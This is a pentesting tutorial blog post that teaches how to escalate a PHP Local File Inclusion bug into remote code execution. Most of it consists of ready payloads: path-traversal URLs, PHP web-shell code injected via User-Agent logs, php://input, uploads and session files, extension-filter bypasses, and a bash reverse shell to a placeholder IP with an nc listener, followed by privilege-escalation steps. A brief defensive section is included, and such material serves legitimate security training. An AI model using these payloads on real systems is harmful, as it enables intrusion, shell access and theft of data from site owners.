Ever stumbled across a boring-looking Local File Inclusion bug and thought, "Meh, just an info leak"? Here's what most pentesters miss: LFI is often a golden ticket to Remote Code Execution, even full shell. The twist? Most real-world web apps are still riddled with LFI-to-RCE paths, hiding in plain sight.

Welcome to the definitive guide where we'll walk through, hands-on, how to turn a simple LFI into a full-on shell โ€” and why every ethical hacker should master this move.

What's Local File Inclusion (LFI) โ€” and Why Should You Care?

Let's get the basics out of the way. LFI happens when a web application lets users pick which files to read โ€” and fails to sanitize that input. Sounds innocent, right? But in practice, what really happens is attackers can read sensitive files (think /etc/passwd), fetch config files, or even pull off full RCE.

You might think: "But isn't LFI just about reading files?" Not even close. The cool part? LFI can easily escalate, especially if the server's got loose ends โ€” like log files you can poison or PHP wrappers lying around.

Here's a textbook example you'll see everywhere in CTFs and real pentests:

http://victim.com/?page=about.php

If the app glues your input into an include() or require() statement (without checking), this is ripe for LFI:

http://victim.com/?page=../../../../etc/passwd

But let's not stop there. We're not just here for file reads. The real prize is Remote Code Execution.

The LFI Kill Chain: From File Read to Full Shell

Let's break it down: How exactly do you go from LFI to RCE? You'll need a bit of creativity โ€” and some solid recon.

Here's the common flow:

  1. Find an LFI bug.
  2. Identify file write primitives (log poisoning, upload, or writable directories).
  3. Inject PHP code somewhere the server will include it.
  4. Trigger the LFI to execute your code.
  5. Drop a shell or execute commands.

Not every server will have every vector, but most modern LFI-to-RCE tricks fall into a handful of classic categories.

Step 1: Spot the LFI

First, let's get hands-on. Suppose you're poking at a bug bounty target, and you notice this URL:

http://target.site/index.php?page=help

You try injecting some path traversal:

http://target.site/index.php?page=../../../../etc/passwd

The response spits out the contents of /etc/passwd. Jackpot. But don't stop there.

Pro Tip: Always vary directory depth. Sometimes you'll need to go five, ten, even twenty directories up, depending on the web root.

Step 2: Find File Write Primitives

This is where things get spicy. Reading files is cool, but we want to write our code somewhere on the server โ€” or make the server write it for us.

Here's what experienced pentesters look for:

  • Web server logs (access.log, error.log)
  • Session files
  • File uploads (even if not executable)
  • Any writable directory

Let's focus on a classic: Log Poisoning.

Log Poisoning: Your Secret Weapon

Web servers keep logs of every request โ€” often with your raw input. If you can control what gets written (like User-Agent or request URLs), and then include that log file via LFI, you can get code execution.

Try this:

  1. Send a request with PHP code in the User-Agent:
GET / HTTP/1.1
Host: target.site
User-Agent: <?php system($_GET['cmd']); ?>

2. Find where logs are stored. Common locations:

  • /var/log/apache2/access.log
  • /var/log/httpd/access_log
  • /var/log/nginx/access.log

3. Trigger the LFI to include the log file:

http://target.site/index.php?page=../../../../var/log/apache2/access.log&cmd=id

If you're lucky, the server parses your PHP code in the log file, and you get a command execution.

Does It Really Work?

You might think, "Wait โ€” logs aren't parsed as PHP, right?" In practice, if the LFI occurs in a require() or include()` context inside a PHP app, *and* the logs are readable, the code gets evaluated.

I've seen this trick in real pentests before. Sometimes you have to try different logs, or sometimes the log rotates quickly. But it's a goldmine when it works.

Step 3: PHP Wrappers โ€” The Hacker's Swiss Army Knife

Here's where things get fun for PHP-based targets. PHP provides wrapper protocols that let you do way more than just read files.

For LFI-to-RCE, two wrappers are king:

  • php://input
  • php://filter

Using `php://input` for RCE

If the application includes php://input, PHP will include the raw POST data as code. That means you can POST your shell directly.

Example:

  1. Send a POST request:
POST /index.php?page=php://input HTTP/1.1
Host: target.site
Content-Type: text/plain
<?php system($_GET['cmd']); ?>

2. Trigger your payload with:

http://target.site/index.php?page=php://input&cmd=id

If allow_url_include is enabled on the server (not common, but you'd be surprised), you get instant RCE.

Using `php://filter` for File Disclosure

Okay, strictly speaking, php://filter is more for file disclosure than RCE. But sometimes, you'll find exotic chains where you can use it to bypass restrictions and leak source code โ€” which in turn gives you hardcoded creds, config details, or new attack vectors.

Usage:

http://target.site/index.php?page=php://filter/convert.base64-encode/resource=config.php

This will return the base64-encoded contents of config.php. Decode it and look for secrets.

Step 4: Upload-Based LFI to RCE

Suppose the app lets you upload files โ€” images, PDFs, whatever โ€” but doesn't allow PHP. Don't give up. Even if you can't upload a .php, you can often upload a file and then include it via LFI.

Example: Upload, Then Include

  1. Upload a file called shell.txt containing:
<?php system($_GET['cmd']); ?>

2. Find where uploads land. Maybe it's /uploads/shell.txt.

3. LFI it:

http://target.site/index.php?page=../../uploads/shell.txt&cmd=whoami

The uploaded file gets parsed as PHP if the inclusion is inside include().

Bypassing Extension Filters

Lots of apps block .php uploads, but not .php5, .phtml, or even .inc. Sometimes, they just look for ".php" at the end. Classic bypasses:

  • shell.php5
  • shell.phtml
  • shell.jpg.php
  • shell.txt (if included via LFI)

Try them all. A surprising number of apps fall for these.

Step 5: Session File Poisoning

PHP stores session data in files. If you can control session data (for example, via cookies), and you know where session files are, you can inject PHP code into your own session file โ€” and include it.

Here's how it goes:

  1. Log in, grab your session ID (often in PHPSESSID cookie).
  2. Send a request that sets the session value to PHP code:
POST / HTTP/1.1
Cookie: PHPSESSID=abcd1234
Content-Type: application/x-www-form-urlencoded
data=<?php system($_GET['cmd']); ?>

3. Find the session file path. Defaults:

  • /var/lib/php/sessions/sess_abcd1234
  • /tmp/sess_abcd1234

4. LFI it:

http://target.site/index.php?page=../../../../tmp/sess_abcd1234&cmd=id

Note: Sometimes the session path is non-standard. Check the app's config if you can.

Real-World Walkthrough: LFI-to-RCE in Action

Let's walk through a (sanitized) real-world example from a bug bounty program. This is a composite โ€” but every step's based on tricks I've seen land real shells.

1. Finding the LFI

Our target has:

http://bounty.target.com/app?page=main

You try:

http://bounty.target.com/app?page=../../../../etc/passwd

Boom โ€” you get file contents. LFI confirmed.

2. Checking Log Poisoning

You send a classic log poisoning payload:

GET /weird HTTP/1.1
Host: bounty.target.com
User-Agent: <?php system($_GET['cmd']); ?>

Now, try including the access log:

http://bounty.target.com/app?page=../../../../var/log/apache2/access.log&cmd=whoami
  • Nothing happens.* No luck here โ€” maybe logs aren't readable or not included as PHP.

3. Trying PHP Wrappers

You try:

http://bounty.target.com/app?page=php://input

You send a POST request with PHP code in the body. Still, nothing. The server blocks it.

4. Upload Vector

You find an upload form for PDF files. You upload shell.jpg containing PHP code.

You check /uploads/shell.jpg โ€” not executable.

Then you try including it:

http://bounty.target.com/app?page=../../uploads/shell.jpg&cmd=ls

Suddenly, you get directory contents.

5. Gaining a Shell

Next step: upgrade to an interactive shell. Use a simple reverse shell payload:

<?php system('bash -c "bash -i >& /dev/tcp/YOUR.IP.ADDR/4444 0>&1"'); ?>

Set up a listener:

nc -lvnp 4444

Include the uploaded file with your LFI:

http://bounty.target.com/app?page=../../uploads/shell.jpg

A shell connection lands on your listener. You're in.

Practical Tips: Making LFI-to-RCE Reliable

You'll hit snags โ€” trust me, every pentester has spent hours trying different log files or session paths. Here's what I've learned:

  • Always enumerate file paths and configs. Don't assume access.log is in the default place.
  • Mix and match techniques. If logs don't work, try upload. If upload fails, try session poisoning.
  • Automate boring stuff. Use Burp Intruder, wfuzz, or custom scripts to brute-force file paths.
  • Watch for filters. Some apps blacklist ../ or certain extensions. Obfuscate your payloads โ€” double URL-encode, use Unicode, or try wrappers.
  • Check for open_basedir and disable_functions. These PHP settings can block some tricks, but not all.

Defensive Lens: How Defenders Can Block LFI-to-RCE

If you're on the blue team, here's the kind of stuff that actually works:

  • Sanitize all user input. Never let untrusted input touch include() or require().
  • Disable URL wrappers and dangerous PHP functions.
  • Use allowlists, not blocklists, for files that can be included.
  • Store logs, uploads, and session files outside web root.
  • Monitor for weird include patterns and known LFI exploit attempts.
None
Photo by Siednji Leon on Unsplash

Beyond Shell: Privilege Escalation After LFI-to-RCE

Here's where it gets even more interesting. Once you've got a shell, don't stop. Use classic privilege escalation tricks:

  • Enumerate system users with id or whoami
  • Check for weak sudo permissions (`sudo -l`)
  • Look for misconfigured cron jobs or writable scripts
  • Hunt for credentials in config files and environment variables
  • Escalate from www-data to root with kernel exploits or misconfigurations

Every solid bug bounty report or pentest needs that extra step. Don't just prove RCE โ€” show impact by popping root or extracting key secrets.

Case Study: LFI-to-RCE in Open Source Apps

A few famous cases where LFI led to full shells:

  • Joomla! (CVE-2015โ€“8562) โ€” LFI through logs and session poisoning led to mass RCEs.
  • WordPress plugins โ€” Numerous plugins with LFI bugs, often chained with upload and log poisoning.
  • Custom CMSs โ€” Homegrown code is LFI-prone, especially with dynamic includes.

I've personally seen everything from university portals to IoT dashboards fall to these chains. The attackers weren't even that clever โ€” they just automated what you've read here.

Checklist: LFI-to-RCE Attack Paths

Here's a quick rundown you can use on real engagements:

  • [ ] LFI confirmed (can you read /etc/passwd?)
  • [ ] Log files writable and includeable?
  • [ ] Can you upload code or images?
  • [ ] Any session file poisoning possible?
  • [ ] PHP wrappers enabled?
  • [ ] Any weird file extensions or old backup files?
  • [ ] open_basedir or disable_functions in effect?
  • [ ] Did you try double/triple encoding?
  • [ ] Did you get code execution?
  • [ ] Can you upgrade to a full shell?

Wrapping Up: Why LFI-to-RCE Belongs in Every Hacker's Toolbox

LFI isn't a boring bug. It's not "just" an info leak. With a bit of creativity (and some methodical testing), you can turn almost any LFI into a serious security incident โ€” often full RCE or root. That's why LFI-to-RCE remains a staple in bug bounty writeups and CTF wins.

If you're hunting bugs or just want to sharpen your pentesting game, practice these chains. Automate your attacks, keep notes on which servers allow what, and remember: always look for the unusual. Half the time, the LFI-to-RCE path is staring you in the face.

For more hands-on tricks, war stories, and OSINT-fueled pentest guidance, keep checking back at VeryLazyTech โ€” we're all about practical hacks, not just theory.

Stay curious, keep hacking, and watch those log files.

๐Ÿš€ Become a VeryLazyTech Member โ€” Get Instant Access

What you get today:

โœ… 70GB Google Drive packed with cybersecurity content

โœ… 3 full courses to level up fast

๐Ÿ‘‰ Join the Membership โ†’ https://whop.com/verylazytech/

๐Ÿ“š Need Specific Resources?

โœ… Instantly download the best hacking guides, OSCP prep kits, cheat sheets, and scripts used by real security pros.

๐Ÿ‘‰ Visit the Shop โ†’ https://whop.com/verylazytech/

๐Ÿ’ฌ Stay in the Loop

Want quick tips, free tools, and sneak peeks?

โœ– Twitter | ๐Ÿ‘พ GitHub | ๐Ÿ“บ YouTube | ๐Ÿ“ฉ Telegram | ๐Ÿ•ต๏ธโ€โ™‚๏ธ Website